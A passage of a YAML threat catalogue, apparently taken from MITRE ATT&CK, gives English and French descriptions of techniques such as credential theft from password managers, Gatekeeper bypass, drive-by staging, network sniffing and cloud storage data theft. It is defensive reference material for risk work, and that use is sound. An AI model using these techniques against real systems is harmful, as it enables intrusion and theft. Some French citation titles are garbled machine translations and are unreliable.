          identification peuvent \xEAtre copi\xE9es en m\xE9moire. Ces bases de donn\xE9\
          es peuvent \xEAtre stock\xE9es sous forme de fichiers sur disque. (Citation\_\
          : ise Password Manager f\xE9vrier 2019)\n\nLes adversaires peuvent acqu\xE9\
          rir les informations d\u2019identification de l\u2019utilisateur \xE0 partir\
          \ de gestionnaires de mots de passe en extrayant le mot de passe principal\
          \ et/ou les informations d\u2019identification en texte brut de la m\xE9\
          moire. (Citation : FoxIT Wocao, d\xE9cembre 2019)(Citation : Github KeeThief)\
          \ Les adversaires peuvent extraire des informations d\u2019identification\
          \ de la m\xE9moire via [Exploitation pour l\u2019acc\xE8s aux informations\
          \ d\u2019identification](https://attack.mitre.org/techniques/T1212). (R\xE9\
          f\xE9rence : NVD CVE-2019-3610)\n Les adversaires peuvent \xE9galement essayer\
          \ de forcer brutalement via [Password Guessing](https://attack.mitre.org/techniques/T1110/001)\
          \ pour obtenir le mot de passe principal d\u2019un gestionnaire de mots\
          \ de passe. (Citation : Cyberreason Anchor d\xE9cembre 2019)\nhttps://attack.mitre.org/techniques/T1555/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1553.001
    ref_id: T1553.001
    name: Gatekeeper Bypass
    description: "Adversaries may modify file attributes and subvert Gatekeeper functionality\
      \ to evade user prompts and execute untrusted programs. Gatekeeper is a set\
      \ of technologies that act as layer of Apple\u2019s security model to ensure\
      \ only trusted applications are executed on a host. Gatekeeper was built on\
      \ top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include\
      \ Code Signing, security policy compliance, Notarization, and more. Gatekeeper\
      \ also treats applications running for the first time differently than reopened\
      \ applications.(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation:\
      \ TheEclecticLightCompany apple notarization )\n\nBased on an opt-in system,\
      \ when files are downloaded an extended attribute (xattr) called `com.apple.quarantine`\
      \ (also known as a quarantine flag) can be set on the file by the application\
      \ performing the download. Launch Services opens the application in a suspended\
      \ state. For first run applications with the quarantine flag set, Gatekeeper\
      \ executes the following functions:\n\n1. Checks extended attribute \u2013 Gatekeeper\
      \ checks for the quarantine flag, then provides an alert prompt to the user\
      \ to allow or deny execution.(Citation: OceanLotus for OS X)(Citation: 20 macOS\
      \ Common Tools and Techniques)\n\n2. Checks System Policies - Gatekeeper checks\
      \ the system security policy, allowing execution of apps downloaded from either\
      \ just the App Store or the App Store and identified developers.\n\n3. Code\
      \ Signing \u2013 Gatekeeper checks for a valid code signature from an Apple\
      \ Developer ID.\n\n4. Notarization - Using the `api.apple-cloudkit.com` API,\
      \ Gatekeeper reaches out to Apple servers to verify or pull down the notarization\
      \ ticket and ensure the ticket is not revoked. Users can override notarization,\
      \ which will result in a prompt of executing an \u201Cunauthorized app\u201D\
      \ and the security policy will be modified.\n\nAdversaries can subvert one or\
      \ multiple security controls within Gatekeeper checks through logic errors (e.g.\
      \ [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211)),\
      \ unchecked file types, and external libraries. For example, prior to macOS\
      \ 13 Ventura, code signing and notarization checks were only conducted on first\
      \ launch, allowing adversaries to write malicious executables to previously\
      \ opened applications in order to bypass Gatekeeper security checks.(Citation:\
      \ theevilbit gatekeeper bypass 2021)(Citation: Application Bundle Manipulation\
      \ Brandon Dalton)\n\nApplications and files loaded onto the system from a USB\
      \ flash drive, optical disk, external hard drive, from a drive shared over the\
      \ local network, or using the curl command may not set the quarantine flag.\
      \ Additionally, it is possible to avoid setting the quarantine flag using [Drive-by\
      \ Compromise](https://attack.mitre.org/techniques/T1189).\nhttps://attack.mitre.org/techniques/T1553/001"
    translations:
      fr:
        name: Contournement de Gatekeeper
        description: "Les adversaires peuvent modifier les attributs de fichier et\
          \ contourner la fonctionnalit\xE9 Gatekeeper pour \xE9chapper aux invites\
          \ de l\u2019utilisateur et ex\xE9cuter des programmes non fiables. Gatekeeper\
          \ est un ensemble de technologies qui agissent comme une couche du mod\xE8\
          le de s\xE9curit\xE9 d\u2019Apple pour s\u2019assurer que seules les applications\
          \ de confiance sont ex\xE9cut\xE9es sur un h\xF4te. Gatekeeper a \xE9t\xE9\
          \ con\xE7u sur la base de la mise en quarantaine des fichiers dans Snow\
          \ Leopard (10.6, 2009) et s\u2019est d\xE9velopp\xE9 pour inclure la signature\
          \ de code, la conformit\xE9 aux politiques de s\xE9curit\xE9, la notarisation,\
          \ etc. Gatekeeper traite \xE9galement les applications qui s\u2019ex\xE9\
          cutent pour la premi\xE8re fois diff\xE9remment des applications rouvertes.\
          \ (Citation : La quarantaine de TheEclecticLightCompany et le drapeau)(Citation\
          \ : TheEclecticLightCompany notarisation de pomme)\n\nSur la base d\u2019\
          un syst\xE8me d\u2019opt-in, lorsque des fichiers sont t\xE9l\xE9charg\xE9\
          s, un attribut \xE9tendu (xattr) appel\xE9 \xAB com.apple.quarantine \xBB\
          \ (\xE9galement connu sous le nom d\u2019indicateur de quarantaine) peut\
          \ \xEAtre d\xE9fini sur le fichier par l\u2019application qui effectue le\
          \ t\xE9l\xE9chargement. Launch Services ouvre l\u2019application dans un\
          \ \xE9tat suspendu. Pour les applications de premi\xE8re ex\xE9cution avec\
          \ l\u2019indicateur de quarantaine d\xE9fini, Gatekeeper ex\xE9cute les\
          \ fonctions suivantes :\n\n1. V\xE9rifie l\u2019attribut \xE9tendu \u2013\
          \ Gatekeeper v\xE9rifie l\u2019indicateur de quarantaine, puis fournit une\
          \ invite d\u2019alerte \xE0 l\u2019utilisateur pour autoriser ou refuser\
          \ l\u2019ex\xE9cution. (Citation : OceanLotus pour OS X)(Citation : 20 outils\
          \ et techniques courants macOS)\n\n2. V\xE9rifie les politiques syst\xE8\
          me - Gatekeeper v\xE9rifie la politique de s\xE9curit\xE9 du syst\xE8me,\
          \ permettant l\u2019ex\xE9cution d\u2019applications t\xE9l\xE9charg\xE9\
          es uniquement \xE0 partir de l\u2019App Store ou de l\u2019App Store et\
          \ des d\xE9veloppeurs identifi\xE9s.\n\n3. Signature de code \u2013 Gatekeeper\
          \ v\xE9rifie si une signature de code valide provient d\u2019un identifiant\
          \ de d\xE9veloppeur Apple.\n\n4. Notarisation - \xC0 l\u2019aide de l\u2019\
          API \xAB\_api.apple-cloudkit.com\_\xBB, Gatekeeper contacte les serveurs\
          \ Apple pour v\xE9rifier ou retirer le ticket de notarisation et s\u2019\
          assurer que le ticket n\u2019est pas r\xE9voqu\xE9. Les utilisateurs peuvent\
          \ remplacer la notarisation, ce qui entra\xEEnera une invite d\u2019ex\xE9\
          cution d\u2019une \xAB application non autoris\xE9e \xBB et la politique\
          \ de s\xE9curit\xE9 sera modifi\xE9e.\n\nLes adversaires peuvent contourner\
          \ un ou plusieurs contr\xF4les de s\xE9curit\xE9 dans les v\xE9rifications\
          \ Gatekeeper par le biais d\u2019erreurs logiques (par exemple, [Exploitation\
          \ pour l\u2019\xE9vasion de la d\xE9fense](https://attack.mitre.org/techniques/T1211)),\
          \ de types de fichiers non v\xE9rifi\xE9s et de biblioth\xE8ques externes.\
          \ Par exemple, avant macOS 13 Ventura, les v\xE9rifications de signature\
          \ de code et de notarisation n\u2019\xE9taient effectu\xE9es qu\u2019au\
          \ premier lancement, ce qui permettait aux adversaires d\u2019\xE9crire\
          \ des ex\xE9cutables malveillants dans des applications pr\xE9c\xE9demment\
          \ ouvertes afin de contourner les contr\xF4les de s\xE9curit\xE9 de Gatekeeper.\
          \ (Citation : contournement du gardien de l\u2019evilbit 2021)(Citation\
          \ : Manipulation du paquet d\u2019applications Brandon Dalton)\n\nLes applications\
          \ et les fichiers charg\xE9s sur le syst\xE8me \xE0 partir d\u2019une cl\xE9\
          \ USB, d\u2019un disque optique, d\u2019un disque dur externe, d\u2019un\
          \ lecteur partag\xE9 sur le r\xE9seau local ou \xE0 l\u2019aide de la commande\
          \ curl peuvent ne pas d\xE9finir l\u2019indicateur de quarantaine. De plus,\
          \ il est possible d\u2019\xE9viter de d\xE9finir l\u2019indicateur de quarantaine\
          \ \xE0 l\u2019aide de [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).\n\
          https://attack.mitre.org/techniques/T1553/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1608.004
    ref_id: T1608.004
    name: Drive-by Target
    description: 'Adversaries may prepare an operational environment to infect systems
      that visit a website over the normal course of browsing. Endpoint systems may
      be compromised through browsing to adversary controlled sites, as in [Drive-by
      Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user''s
      web browser is typically targeted for exploitation (often not requiring any
      extra user interaction once landing on the site), but adversaries may also set
      up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001).
      Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries
      must stage resources needed to deliver that exploit to users who browse to an
      adversary controlled site. Drive-by content can be staged on adversary controlled
      infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583))
      or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).


      Adversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007),
      into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher
      2015) This may be done in a number of ways, including:


      * Inserting malicious scripts into web pages or other user controllable web
      content such as forum posts

      * Modifying script files served to websites from publicly writeable cloud storage
      buckets

      * Crafting malicious web advertisements and purchasing ad space on a website
      through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))


      In addition to staging content to exploit a user''s web browser, adversaries
      may also stage scripting content to profile the user''s browser (as in [Gather
      Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure
      it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)


      Websites compromised by an adversary and used to stage a drive-by may be ones
      visited by a specific community, such as government, a particular industry,
      or region, where the goal is to compromise a specific user or set of users based
      on a shared interest. This kind of targeted campaign is referred to a strategic
      web compromise or watering hole attack.


      Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs,
      typosquatting, different top-level domain, etc.) during acquisition of infrastructure
      ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate
      [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).

      https://attack.mitre.org/techniques/T1608/004'
    translations:
      fr:
        name: Cible intempestive
        description: "Les adversaires peuvent pr\xE9parer un environnement op\xE9\
          rationnel pour infecter les syst\xE8mes qui visitent un site Web au cours\
          \ de leur navigation normale. Les syst\xE8mes de terminaux peuvent \xEA\
          tre compromis en naviguant sur des sites contr\xF4l\xE9s par l\u2019adversaire,\
          \ comme dans [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).\
          \ Dans de tels cas, le navigateur Web de l\u2019utilisateur est g\xE9n\xE9\
          ralement cibl\xE9 pour l\u2019exploitation (ne n\xE9cessitant souvent aucune\
          \ interaction suppl\xE9mentaire de l\u2019utilisateur une fois arriv\xE9\
          \ sur le site), mais les adversaires peuvent \xE9galement configurer des\
          \ sites Web pour un comportement de non-exploitation tel que [Jeton d\u2019\
          acc\xE8s \xE0 l\u2019application](https://attack.mitre.org/techniques/T1550/001).\
          \ Avant [Drive-by Compromise](https://attack.mitre.org/techniques/T1189),\
          \ les adversaires doivent mettre en commun les ressources n\xE9cessaires\
          \ pour diffuser cet exploit aux utilisateurs qui naviguent vers un site\
          \ contr\xF4l\xE9 par l\u2019adversaire. Le contenu intempestif peut \xEA\
          tre h\xE9berg\xE9 sur une infrastructure contr\xF4l\xE9e par l\u2019adversaire\
          \ qui a \xE9t\xE9 acquise ([Acqu\xE9rir l\u2019infrastructure](https://attack.mitre.org/techniques/T1583))\
          \ ou pr\xE9c\xE9demment compromise ([Compromettre l\u2019infrastructure](https://attack.mitre.org/techniques/T1584)).\n\
          \nLes adversaires peuvent t\xE9l\xE9charger ou injecter du contenu Web malveillant,\
          \ tel que [JavaScript](https://attack.mitre.org/techniques/T1059/007), dans\
          \ des sites Web. (Citation : FireEye CFR Watering Hole 2012)(R\xE9f\xE9\
          rence : Gallagher 2015) Cela peut se faire de plusieurs fa\xE7ons, notamment\
          \ :\n\n* Insertion de scripts malveillants dans des pages Web ou d\u2019\
          autres contenus Web contr\xF4lables par l\u2019utilisateur, tels que des\
          \ messages de forum\n* Modification des fichiers de script servis aux sites\
          \ Web \xE0 partir de compartiments de stockage cloud accessibles en \xE9\
          criture publique\n* \xC9laborer des publicit\xE9s Web malveillantes et acheter\
          \ de l\u2019espace publicitaire sur un site Web par l\u2019interm\xE9diaire\
          \ de fournisseurs de publicit\xE9 l\xE9gitimes (c\u2019est-\xE0-dire [Malvertising](https://attack.mitre.org/techniques/T1583/008))\n\
          \nEn plus de mettre en sc\xE8ne du contenu pour exploiter le navigateur\
          \ Web d\u2019un utilisateur, les adversaires peuvent \xE9galement mettre\
          \ en sc\xE8ne du contenu de script pour profiler le navigateur de l\u2019\
          utilisateur (comme dans [Recueillir des informations sur l\u2019h\xF4te\
          \ de la victime](https://attack.mitre.org/techniques/T1592)) pour s\u2019\
          assurer qu\u2019il est vuln\xE9rable avant de tenter de l\u2019exploiter.\
          \ (Citation : ATT ScanBox)\n\nLes sites Web compromis par un adversaire\
          \ et utilis\xE9s pour organiser un drive-by peuvent \xEAtre ceux visit\xE9\
          s par une communaut\xE9 sp\xE9cifique, telle qu\u2019un gouvernement, un\
          \ secteur particulier ou une r\xE9gion, o\xF9 l\u2019objectif est de compromettre\
          \ un utilisateur sp\xE9cifique ou un groupe d\u2019utilisateurs en fonction\
          \ d\u2019un int\xE9r\xEAt commun. Ce type de campagne cibl\xE9e fait r\xE9\
          f\xE9rence \xE0 une compromission strat\xE9gique du Web ou \xE0 une attaque\
          \ de point d\u2019eau.\n\nLes adversaires peuvent acheter des domaines similaires\
          \ \xE0 des domaines l\xE9gitimes (par exemple : homoglyphes, typosquattage,\
          \ domaine de premier niveau diff\xE9rent, etc.) lors de l\u2019acquisition\
          \ d\u2019infrastructures ([Domaines](https://attack.mitre.org/techniques/T1583/001))\
          \ pour faciliter la [compromission intempestive](https://attack.mitre.org/techniques/T1189).\n\
          https://attack.mitre.org/techniques/T1608/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1007
    ref_id: T1007
    name: System Service Discovery
    description: 'Adversaries may try to gather information about registered local
      system services. Adversaries may obtain information about services using tools
      as well as OS utility commands such as <code>sc query</code>, <code>tasklist
      /svc</code>, <code>systemctl --type=service</code>, and <code>net start</code>.


      Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007)
      during automated discovery to shape follow-on behaviors, including whether or
      not the adversary fully infects the target and/or attempts specific actions.

      https://attack.mitre.org/techniques/T1007'
    translations:
      fr:
        name: "D\xE9couverte du service syst\xE8me"
        description: "Les adversaires peuvent tenter de recueillir des informations\
          \ sur les services du syst\xE8me local enregistr\xE9s. Les adversaires peuvent\
          \ obtenir des informations sur les services \xE0 l\u2019aide d\u2019outils\
          \ ainsi que de commandes utilitaires du syst\xE8me d\u2019exploitation telles\
          \ que <code>sc query</code>, <code>tasklist /svc</code>, <code>systemctl\
          \ --type=service</code> et <code>net start</code>.\n\nLes adversaires peuvent\
          \ utiliser les informations de [System Service Discovery](https://attack.mitre.org/techniques/T1007)\
          \ lors de la d\xE9couverte automatique pour fa\xE7onner des comportements\
          \ ult\xE9rieurs, notamment si l\u2019adversaire infecte compl\xE8tement\
          \ la cible et/ou tente ou non des actions sp\xE9cifiques.\nhttps://attack.mitre.org/techniques/T1007"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1040
    ref_id: T1040
    name: Network Sniffing
    description: 'Adversaries may passively sniff network traffic to capture information
      about an environment, including authentication material passed over the network.
      Network sniffing refers to using the network interface on a system to monitor
      or capture information sent over a wired or wireless connection. An adversary
      may place a network interface into promiscuous mode to passively access data
      in transit over the network, or use span ports to capture a larger amount of
      data.


      Data captured via this technique may include user credentials, especially those
      sent over an insecure, unencrypted protocol. Techniques for name service resolution
      poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001),
      can also be used to capture credentials to websites, proxies, and internal systems
      by redirecting traffic to an adversary.


      Network sniffing may reveal configuration details, such as running services,
      version numbers, and other network characteristics (e.g. IP addresses, hostnames,
      VLAN IDs) necessary for subsequent [Lateral Movement](https://attack.mitre.org/tactics/TA0008)
      and/or [Defense Evasion](https://attack.mitre.org/tactics/TA0005) activities.
      Adversaries may likely also utilize network sniffing during [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)
      (AiTM) to passively gain additional knowledge about the environment.


      In cloud-based environments, adversaries may still be able to use traffic mirroring
      services to sniff network traffic from virtual machines. For example, AWS Traffic
      Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified
      instances to collect traffic from and specified targets to send collected traffic
      to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation:
      Azure Virtual Network TAP) Often, much of this traffic will be in cleartext
      due to the use of TLS termination at the load balancer level to reduce the strain
      of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC
      Traffic Mirroring)(Citation: SpecterOps AWS Traffic Mirroring) The adversary
      can then use exfiltration techniques such as Transfer Data to Cloud Account
      in order to access the sniffed traffic.(Citation: Rhino Security Labs AWS VPC
      Traffic Mirroring)


      On network devices, adversaries may perform network captures using [Network
      Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as
      `monitor capture`.(Citation: US-CERT-TA18-106A)(Citation: capture_embedded_packet_on_software)

      https://attack.mitre.org/techniques/T1040'
    translations:
      fr:
        name: "Reniflage du r\xE9seau"
        description: "Les adversaires peuvent renifler passivement le trafic r\xE9\
          seau pour capturer des informations sur un environnement, y compris le mat\xE9\
          riel d\u2019authentification transmis sur le r\xE9seau. Le reniflage de\
          \ r\xE9seau fait r\xE9f\xE9rence \xE0 l\u2019utilisation de l\u2019interface\
          \ r\xE9seau d\u2019un syst\xE8me pour surveiller ou capturer des informations\
          \ envoy\xE9es via une connexion filaire ou sans fil. Un adversaire peut\
          \ placer une interface r\xE9seau en mode de promiscuit\xE9 pour acc\xE9\
          der passivement aux donn\xE9es en transit sur le r\xE9seau, ou utiliser\
          \ des ports de port\xE9e pour capturer une plus grande quantit\xE9 de donn\xE9\
          es.\n\nLes donn\xE9es captur\xE9es via cette technique peuvent inclure les\
          \ informations d\u2019identification de l\u2019utilisateur, en particulier\
          \ celles envoy\xE9es via un protocole non s\xE9curis\xE9 et non chiffr\xE9\
          . Les techniques d\u2019empoisonnement de la r\xE9solution de service de\
          \ noms, telles que [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001),\
          \ peuvent \xE9galement \xEAtre utilis\xE9es pour capturer des informations\
          \ d\u2019identification vers des sites Web, des proxys et des syst\xE8mes\
          \ internes en redirigeant le trafic vers un adversaire.\n\nLe reniflage\
          \ du r\xE9seau peut r\xE9v\xE9ler des d\xE9tails de configuration, tels\
          \ que les services en cours d\u2019ex\xE9cution, les num\xE9ros de version\
          \ et d\u2019autres caract\xE9ristiques du r\xE9seau (par exemple, les adresses\
          \ IP, les noms d\u2019h\xF4te, les ID VLAN) n\xE9cessaires aux activit\xE9\
          s ult\xE9rieures de [Mouvement lat\xE9ral](https://attack.mitre.org/tactics/TA0008)\
          \ et/ou d'[\xC9vasion de d\xE9fense](https://attack.mitre.org/tactics/TA0005).\
          \ Les adversaires peuvent \xE9galement utiliser le reniflage du r\xE9seau\
          \ pendant [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)\
          \ (AiTM) pour acqu\xE9rir passivement des connaissances suppl\xE9mentaires\
          \ sur l\u2019environnement.\n\nDans les environnements bas\xE9s sur le cloud,\
          \ les adversaires peuvent toujours \xEAtre en mesure d\u2019utiliser les\
          \ services de mise en miroir du trafic pour d\xE9tecter le trafic r\xE9\
          seau des machines virtuelles. Par exemple, AWS Traffic Mirroring, GCP Packet\
          \ Mirroring et Azure vTap permettent aux utilisateurs de d\xE9finir des\
          \ instances sp\xE9cifi\xE9es \xE0 partir desquelles collecter le trafic\
          \ et des cibles sp\xE9cifi\xE9es auxquelles envoyer le trafic collect\xE9\
          . (Citation : Mise en miroir du trafic AWS)(Citation : Mise en miroir des\
          \ paquets GCP)(R\xE9f\xE9rence : Azure Virtual Network TAP) Souvent, une\
          \ grande partie de ce trafic est en texte clair en raison de l\u2019utilisation\
          \ de la terminaison TLS au niveau de l\u2019\xE9quilibreur de charge pour\
          \ r\xE9duire la charge de chiffrement et de d\xE9chiffrement du trafic.\
          \ (Citation : Rhino Security Labs AWS VPC Traffic Mirroring)(Citation :\
          \ SpecterOps AWS Traffic Mirroring) L\u2019adversaire peut ensuite utiliser\
          \ des techniques d\u2019exfiltration telles que le transfert de donn\xE9\
          es vers un compte cloud afin d\u2019acc\xE9der au trafic renifl\xE9. (Citation\
          \ : Rhino Security Labs AWS VPC Traffic Mirroring)\n\nSur les p\xE9riph\xE9\
          riques r\xE9seau, les adversaires peuvent effectuer des captures r\xE9seau\
          \ \xE0 l\u2019aide des commandes [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)\
          \ telles que 'monitor capture'. (R\xE9f\xE9rence : US-CERT-TA18-106A)(R\xE9\
          f\xE9rence : capture_embedded_packet_on_software)\nhttps://attack.mitre.org/techniques/T1040"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1553.002
    ref_id: T1553.002
    name: Code Signing
    description: 'Adversaries may create, acquire, or steal code signing materials
      to sign their malware or tools. Code signing provides a level of authenticity
      on a binary from the developer and a guarantee that the binary has not been
      tampered with. (Citation: Wikipedia Code Signing) The certificates used during
      an operation may be created, acquired, or stolen by the adversary. (Citation:
      Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike
      [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this
      activity will result in a valid signature.


      Code signing to verify software on first run can be used on modern Windows and
      macOS systems. It is not used on Linux due to the decentralized nature of the
      platform. (Citation: Wikipedia Code Signing)(Citation: EclecticLightChecksonEXECodeSigning)


      Code signing certificates may be used to bypass security policies that require
      signed code to execute on a system.

      https://attack.mitre.org/techniques/T1553/002'
    translations:
      fr:
        name: Signature de code
        description: "Les adversaires peuvent cr\xE9er, acqu\xE9rir ou voler des mat\xE9\
          riaux de signature de code pour signer leurs logiciels malveillants ou leurs\
          \ outils. La signature de code fournit un niveau d\u2019authenticit\xE9\
          \ sur un binaire de la part du d\xE9veloppeur et une garantie que le binaire\
          \ n\u2019a pas \xE9t\xE9 alt\xE9r\xE9. (citation : Signature du code Wikip\xE9\
          dia) Les certificats utilis\xE9s lors d\u2019une op\xE9ration peuvent \xEA\
          tre cr\xE9\xE9s, acquis ou vol\xE9s par l\u2019adversaire. (Citation : Securelist\
          \ Digital Certificates) (Citation : Symantec Digital Certificates) Contrairement\
          \ \xE0 [Signature de code non valide](https://attack.mitre.org/techniques/T1036/001),\
          \ cette activit\xE9 aboutira \xE0 une signature valide.\n\nLa signature\
          \ de code pour v\xE9rifier le logiciel lors de la premi\xE8re ex\xE9cution\
          \ peut \xEAtre utilis\xE9e sur les syst\xE8mes Windows et macOS modernes.\
          \ Il n\u2019est pas utilis\xE9 sur Linux en raison de la nature d\xE9centralis\xE9\
          e de la plate-forme. (citation : Signature du code Wikip\xE9dia)(Citation\
          \ : EclecticLightChecksonEXECodeSigning)\n\nLes certificats de signature\
          \ de code peuvent \xEAtre utilis\xE9s pour contourner les strat\xE9gies\
          \ de s\xE9curit\xE9 qui n\xE9cessitent l\u2019ex\xE9cution du code sign\xE9\
          \ sur un syst\xE8me.\nhttps://attack.mitre.org/techniques/T1553/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1530
    ref_id: T1530
    name: Data from Cloud Storage
    description: "Adversaries may access data from cloud storage.\n\nMany IaaS providers\
      \ offer solutions for online data object storage such as Amazon S3, Azure Storage,\
      \ and Google Cloud Storage. Similarly, SaaS enterprise platforms such as Office\
      \ 365 and Google Workspace provide cloud-based document storage to users through\
      \ services such as OneDrive and Google Drive, while SaaS application providers\
      \ such as Slack, Confluence, Salesforce, and Dropbox may provide cloud storage\
      \ solutions as a peripheral or primary use case of their platform. \n\nIn some\
      \ cases, as with IaaS-based cloud storage, there exists no overarching application\
      \ (such as SQL or Elasticsearch) with which to interact with the stored objects:\
      \ instead, data from these solutions is retrieved directly though the [Cloud\
      \ API](https://attack.mitre.org/techniques/T1059/009). In SaaS applications,\
      \ adversaries may be able to collect this data directly from APIs or backend\
      \ cloud storage objects, rather than through their front-end application or\
      \ interface (i.e., [Data from Information Repositories](https://attack.mitre.org/techniques/T1213)).\
      \ \n\nAdversaries may collect sensitive data from these cloud storage solutions.\
      \ Providers typically offer security guides to help end users configure systems,\
      \ though misconfigurations are a common problem.(Citation: Amazon S3 Security,\
      \ 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud\
      \ Storage Best Practices, 2019) There have been numerous incidents where cloud\
      \ storage has been improperly secured, typically by unintentionally allowing\
      \ public access to unauthenticated users, overly-broad access by all users,\
      \ or even access for any anonymous person outside the control of the Identity\
      \ Access Management system without even needing basic user permissions.\n\n\
      This open access may expose various types of sensitive data, such as credit\
      \ cards, personally identifiable information, or medical records.(Citation:\
      \ Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation:\
      \ HIPAA Journal S3 Breach, 2017)(Citation: Rclone-mega-extortion_05_2021)\n\n\
      Adversaries may also obtain then abuse leaked credentials from source repositories,\
      \ logs, or other means as a way to gain access to cloud storage objects.\nhttps://attack.mitre.org/techniques/T1530"
    translations:
      fr:
        name: "Donn\xE9es du stockage dans le cloud"
        description: "Les adversaires peuvent acc\xE9der aux donn\xE9es \xE0 partir\
          \ du stockage dans le cloud.\n\nDe nombreux fournisseurs IaaS proposent\
          \ des solutions de stockage d\u2019objets de donn\xE9es en ligne, telles\
          \ qu\u2019Amazon S3, Azure Storage et Google Cloud Storage. De m\xEAme,\
          \ les plates-formes d\u2019entreprise SaaS telles qu\u2019Office 365 et\
          \ Google Workspace fournissent un stockage de documents bas\xE9 sur le cloud\
          \ aux utilisateurs via des services tels que OneDrive et Google Drive, tandis\
          \ que les fournisseurs d\u2019applications SaaS tels que Slack, Confluence,\
          \ Salesforce et Dropbox peuvent fournir des solutions de stockage dans le\
          \ cloud en tant que p\xE9riph\xE9rique ou cas d\u2019utilisation principal\
          \ de leur plate-forme. \n\nDans certains cas, comme pour le stockage cloud\
          \ bas\xE9 sur IaaS, il n\u2019existe pas d\u2019application globale (telle\
          \ que SQL ou Elasticsearch) avec laquelle interagir avec les objets stock\xE9\
          s : au lieu de cela, les donn\xE9es de ces solutions sont r\xE9cup\xE9r\xE9\
          es directement via l'[API cloud](https://attack.mitre.org/techniques/T1059/009).\
          \ Dans les applications SaaS, les adversaires peuvent \xEAtre en mesure\
          \ de collecter ces donn\xE9es directement \xE0 partir d\u2019API ou d\u2019\
          objets de stockage cloud backend, plut\xF4t que via leur application ou\
          \ interface frontale (c\u2019est-\xE0-dire, [Data from Information Repositories](https://attack.mitre.org/techniques/T1213)).\
          \ \n\nLes adversaires peuvent collecter des donn\xE9es sensibles \xE0 partir\
          \ de ces solutions de stockage dans le cloud. Les fournisseurs proposent\
          \ g\xE9n\xE9ralement des guides de s\xE9curit\xE9 pour aider les utilisateurs\
          \ finaux \xE0 configurer les syst\xE8mes, bien que les erreurs de configuration\
          \ soient un probl\xE8me courant. (R\xE9f\xE9rence : S\xE9curit\xE9 Amazon\
          \ S3, 2019)(Citation : S\xE9curit\xE9 du stockage Microsoft Azure, 2019)(Citation\
          \ : Meilleures pratiques de stockage dans le cloud de Google, 2019) Il y\
          \ a eu de nombreux incidents o\xF9 le stockage dans le cloud a \xE9t\xE9\
          \ mal s\xE9curis\xE9, g\xE9n\xE9ralement en autorisant involontairement\
          \ l\u2019acc\xE8s public \xE0 des utilisateurs non authentifi\xE9s, un acc\xE8\
          s trop large par tous les utilisateurs, ou m\xEAme un acc\xE8s pour toute\
          \ personne anonyme hors du contr\xF4le du syst\xE8me de gestion des identit\xE9\
          s et des acc\xE8s sans m\xEAme avoir besoin des autorisations utilisateur\
          \ de base.\n\nCe libre acc\xE8s peut exposer divers types de donn\xE9es\
          \ sensibles, telles que des cartes de cr\xE9dit, des informations personnellement\
          \ identifiables ou des dossiers m\xE9dicaux. (Citation : Trend Micro S3\
          \ Exposed PII, 2017)(Citation : Godets Magecart S3 c\xE2bl\xE9s, 2019)(R\xE9\
          f\xE9rence : HIPAA Journal S3 Breach, 2017)(Citation : Rclone-mega-extortion_05_2021)\n\
          \nLes adversaires peuvent \xE9galement obtenir puis abuser des informations\
          \ d\u2019identification divulgu\xE9es \xE0 partir de r\xE9f\xE9rentiels\
          \ sources, de journaux ou d\u2019autres moyens afin d\u2019acc\xE9der \xE0\
          \ des objets de stockage dans le cloud.\nhttps://attack.mitre.org/techniques/T1530"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1565.003
    ref_id: T1565.003
    name: Runtime Data Manipulation
    description: 'Adversaries may modify systems in order to manipulate the data as
      it is accessed and displayed to an end user, thus threatening the integrity
      of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018)
      By manipulating runtime data, adversaries may attempt to affect a business process,
      organizational understanding, and decision making.


      Adversaries may alter application binaries used to display data in order to
      cause runtime manipulations. Adversaries may also conduct [Change Default File
      Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036)
      to cause a similar effect. The type of modification and the impact it will have
      depends on the target application and process as well as the goals and objectives
      of the adversary. For complex systems, an adversary would likely need special
      expertise and possibly access to specialized software related to the system
      that would typically be gained through a prolonged information gathering campaign
      in order to have the desired impact.

      https://attack.mitre.org/techniques/T1565/003'
